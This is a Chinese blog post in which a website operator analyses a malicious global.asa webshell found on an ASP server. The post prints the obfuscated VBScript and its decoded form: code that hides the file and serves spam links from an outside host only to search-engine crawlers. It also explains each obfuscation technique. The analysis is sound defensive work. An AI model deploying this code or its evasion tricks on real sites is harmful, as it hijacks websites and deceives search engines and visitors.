網站後門文件(Webshell)分析筆記

前言

週末的時候,阿里雲發來了一條短信,說網站上發現了後門文件,因而趕忙登陸阿里雲網站,查看該安全事件的相關信息。php

後門文件對比

出現後門文件的網站,在幾個目錄下均存在惡意的global.asa文件,用Beyond Compare對這幾個文件進行比較後發現內容相同,那隻須要分析其中一個文件便可。html

後門文件功能

先上網查查global.asa文件是幹什麼用的,在ASP Global.asa 文件這個網頁中有介紹,簡單來講,就是能夠在用戶打開網頁前,執行其中的代碼。數組

後門文件格式化

而後用文本編輯器打開global.asa這個文件,精簡後的內容以下:安全

<script language="vbscript" runat="server">sub Application_OnStart:end sub:sub Application_OnEnd:end Sub:Execute(JiaMi("79.110.32.69.")):function JiaMi(asp):ExeCuTe(JMONE("edocpsa=iMaiJ┊txen┊)oah(rhc+edocpsa=edocpsa┊)i(psanaim=oah┊1-)psanaim(dnuoBU ot 0=i rof┊)`.`,psa(tilps=psanaim")):end Function:Function JMONE(objstr):objstr = Replace(objstr, "`", """"):For i = 1 To Len(objstr):If Mid(objstr, i, 1) <> "┊" Then NewStr = Mid(objstr, i, 1) & NewStr:Else:NewStr = vbCrLf & NewStr:End If:Next:JMONE = NewStr:End Function</script>

開頭的內容爲 <script language="vbscript" runat="server">,說明其中的代碼是用VB這門語言寫的,運行在服務器端。服務器

代碼中有許多冒號,上網查了一下,在VB中,冒號能夠起到和換行符相同的做用。那麼把全部的冒號都替換爲換行符,並添加必要的縮進,格式化後的代碼以下:網絡

<script language="vbscript" runat="server">
sub Application_OnStart
end sub

sub Application_OnEnd
end Sub

Execute(JiaMi("79.110.32.69."))

function JiaMi(asp)
  ExeCuTe(
    JMONE(
"edocpsa=iMaiJ┊txen┊)oah(rhc+edocpsa=edocpsa┊)i(psanaim=oah┊1-)psanaim(dnuoBU ot 0=i rof┊)`.`,psa(tilps=psanaim"
    )
  )
end Function

Function JMONE(objstr)
  objstr = Replace(objstr, "`", """")
  For i = 1 To Len(objstr)
    If Mid(objstr, i, 1) <> "┊" Then NewStr = Mid(objstr, i, 1) & NewStr
    Else
      NewStr = vbCrLf & NewStr
    End If
  Next
  JMONE = NewStr
End Function
</script>
後門文件分析

經過閱讀上面格式化以後的代碼能夠知道,函數Execute調用了函數JiaMi,而函數JiaMi又調用了函數JMONE,這說明關鍵的部分就是函數JMONE。dom

分析函數JMONE,可知其用於實現以下功能:編輯器

  1. 將傳入參數objstr中的 ` 字符替換成一對英文半角雙引號,並將處理後的字符串從新賦給變量objstr;
  2. 遍歷字符串objstr中的每一個字符,在這裏是用函數Mid(objstr, i, 1)來獲取當前字符。話說VB中獲取字符串中指定字符的方式就是如此?仍是爲了防止被安全工具檢測到特徵,因此沒有用常規的方式?
  3. 對於遍歷到的每一個字符,檢查該字符是否爲┊,第一次見到這個字符,還不知道它是幹什麼用的,它的Unicode編號爲U+250A,上網查了一下,才知道這個字符叫「製表符細四長劃豎線」。在這裏沒有用常見的 | 符號,是否也是爲了不被安全工具檢測到特徵?
  4. 若是當前字符爲┊,則在變量NewStr前面加一個VB的換行符vbCrLf;不然將當前字符拼接到變量NewStr以前。看來是在該函數外先將惡意代碼倒序排列,用特殊製表符當作換行符,而後傳入JMONE這個函數進行解析並執行,嘿,有點兒意思啊。
  5. 處理完傳入參數以後,將處理結果NewStr賦給變量JMONE,函數結束。

函數JMONE分析完了,接下來就分析分析調用這個函數的JiaMi。這個函數一看就是國人寫的,JiaMi就是「加密」嘛,嗯,簡單易懂,不錯不錯。ide

查看JiaMi這個函數的代碼,能夠知道它只作了一件事,就是向JMONE這個函數傳入參數,並執行JMONE這個函數。給JMONE傳入的參數是下面這一長串亂七八糟的字符串,但結合前面對JMONE的分析就能夠知道,這只不過是倒序排列+製表符分隔的代碼而已。下面這一串字符是傳入JMONE的參數:函數

"edocpsa=iMaiJ┊txen┊)oah(rhc+edocpsa=edocpsa┊)i(psanaim=oah┊1-)psanaim(dnuoBU ot 0=i rof┊)`.`,psa(tilps=psanaim"

按函數JMONE的邏輯進行還原上面的字符串,添加必要的換行和縮進,就能獲得下面的代碼:

mianasp=split(asp, ""."")
for i=0 to UBound(mianasp)-1
  hao=mianasp(i)
  aspcode=aspcode+chr(hao)
next
JiaMi=aspcode

分析上面的代碼,可知其功能以下:

  1. 將傳入的參數以英文點號.爲分隔符進行分割,獲得數組mianasp;
  2. 遍歷數組mianasp,將數組中的每一個字符由前日後拼接起來,最後獲得字符串aspcode,並將其賦給變量JiaMi。

在前文中,爲了方便閱讀,將JiaMi這個函數中的字符串進行了精簡。實際執行該函數後,獲得的結果又是一大堆字符串,仔細一看,仍是VB代碼,仍是用冒號做爲換行符。因而將其進行換行處理,並添加必要的縮進,最終關鍵部分的代碼以下:

Function DeAsc(Str)
  Str=Split(Str,"%")
  For I=1 To Ubound(Str)
    DeAsc=DeAsc&Chr(Str(I)-18)
  Next
End Function

Function Htmll(Url,AChar)
  Set MSX=Server.CreateObject("MSXML2.ServerXMLHTTP")
  MSX.Open "GET",Url,False
  MSX.SetRequestHeader "User-Agent","MSIE"
  MSX.Send
  Htmll=MSX.ResponseBody
  Set MSX=Nothing
  Set ASM=Server.CreateObject("Adodb.Stream")
  ASM.Type=1
  ASM.Mode=3
  ASM.Open
  ASM.Write Htmll
  ASM.Position=0
  ASM.Type=2
  ASM.Charset=AChar
  Htmll=ASM.ReadText
  ASM.Close
  Set ASM=Nothing
End Function

Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct")
set f=fso.Getfile("//./" & Server.MapPath("/g"&"lo"&"ba"&"l.a"&"sa"))
if f.attributes<>39 then
  f.attributes=39
end if
Set fso=Nothing
  Bot=Request.ServerVariables("HTTP_USER_AGENT")
  host=Request.ServerVariables("HTTP_HOST")
  path_info=Request.ServerVariables("PATH_INFO")
 KBot=Array("baidu","google","sogou","soso","yahoo","bing","bot","spider","so","360","haosou")

For B=Lbound(KBot) To Ubound(KBot)
  If InStr(1,Bot,KBot(B),1)>0 Then
KeyData=Htmll(DeAsc("%122%134%134%130%")&host&"&url="&path_info,"GB2312")
    skyword=split(KeyData,"[0xSpider]")
    Response.Write(skyword(1))
  End if
Next

上面的代碼中定義了函數DeAsc和Htmll,並在後面的語句中調用了這兩個函數。下面就來具體分析這些代碼作了哪些事:

  1. 定義變量fso = Server.CreateObject("Scripting.FileSystem&Object");這裏將函數參數字符串分割成了1~3個不等的字符串並手動進行拼接,應當也是爲了躲過安全工具的檢測;
  2. 定義變量f = fso.Getfile("//./global.asa"),就是用來獲取網站根目錄下的global.asa文件;
  3. 判斷f的attributes屬性值是否爲39,若是不是則賦爲39;上網查找,可知這個屬性是多個值相加後獲得的結果,39 = 32 + 4 + 2 + 1,其中的1爲只讀文件屬性,2爲隱藏文件屬性,4爲系統文件屬性;這部分代碼的做用,就是將global.asa文件設置爲只讀、隱藏、系統文件這三個屬性;
  4. 判斷網頁訪問用戶的UserAgent是否包含搜索引擎爬蟲特徵值,即上面定義的變量KBot;若是判斷用戶爲搜索引擎爬蟲,則執行下面的操做;
  5. 執行前面定義過的函數Htmll,該函數接收兩個參數;而在第一個參數中,DeAsc裏的參數實際上是很長一串,這裏作了精簡,執行DeAsc後獲得的結果爲http://file.sjc5.com/file/lin...,應該就是黑產所用的網站了,再將這個URL和用戶訪問的當前頁面URL相拼接,應該就是黑產用來記錄用戶訪問歷史的;第二個參數顯然是用來定義編碼的;
  6. 查看函數Htmll的代碼,可知它是以IE的UserAgent向指定URL發起請求,並獲取該URL對應的網頁內容;用Postman屢次請求該URL:http://file.sjc5.com/file/lin...,所返回的內容是以一對字符串[0xSpider]包裹起來的一堆HTML的a標籤,查看這些a標籤的href屬性,前面一多半都是相對路徑,包含各類隨機的目錄名、文件名,且不少文件的擴展名爲shtml或aspx,看來這個網站後門就是針對ASP/ASP.NET的;後面的路徑則是包含域名的完整的網址,打開幾個網址看了看,目測應該是已經被黑產動過手腳了;
  7. 上面的代碼在執行完函數Htmll以後,將返回的結果以[0xSpider]爲分隔符進行分割,最後將那一堆網址做爲結果返回。
總結

將整個過程梳理下來以後,最終能夠知道,這個網站後門是用來篡改搜索引擎爬蟲結果的。總結這個後門文件代碼的特色以下:

  1. 轉換字符編碼:好比將正常的字母和符號轉換爲ASCII碼,傳入函數JiaMi;
  2. 分割字符串:傳入函數JiaMi的字符串不只被轉換爲ASCII碼,並且各字符之間都用英文點號分隔開來;Server.MapPath("/g"&"lo"&"ba"&"l.a"&"sa")這條語句也是同理,將敏感的文件名global.asa進行拆分後再手動拼接;
  3. 改變字符串順序:傳入函數JMONE的字符串就是逆序排列的,在函數中再逆序拼接一遍,轉換爲正序排列以後,就能夠執行了;
  4. 改變字符串編碼值:在DeAsc函數中,就是將字符的ASCII碼值減去數字18以後,再用Chr函數轉換成正常的字符。

雖然上面的代碼嘗試了各類方式將關鍵信息進行混淆,但最關鍵的一點是它沒法改變的,就是它必須調用VB的Execute函數來執行代碼。我的猜想該網站後門之因此會被阿里雲檢測出來,Execute函數是主要的緣由。這時想到以前看過的JavaScript代碼規範中,有一條就是禁止使用eval函數,應當也是出於一樣的考慮吧。

後記

雖然這個後門文件的做用分析清楚了,也把它從服務器上刪除掉了,但這個後門文件到底是如何出如今服務器上的,這一點很關鍵,遺憾的是,並無找到網站漏洞的位置,也就是說沒有搞清楚這個後門文件是從哪裏來的。不過這一套ASP寫的網站如今已經沒什麼訪問量了,恰好藉此機會把它下線,這樣也就不給入侵者機會了,權當是沒有辦法的辦法吧。

話說回來,網絡安全真的是愈來愈重要了,也愈來愈專業了。尤爲是對於防守方而言,即便有百密,但只要有一疏,那就意味着失敗。做爲一名開發者,同時又須要負責服務器及網站的安全,肩上的負擔天然更重一些,可是如此一來,也可以讓本身以不一樣的角度去看待及分析問題,視野也更加開闊了。對於一樣的一件事情,是成爲你的負累,仍是會督促你成長,全看你用什麼樣的心態去看待它,你的世界,就是你所塑造的世界。

全文完。

相關文章
相關標籤/搜索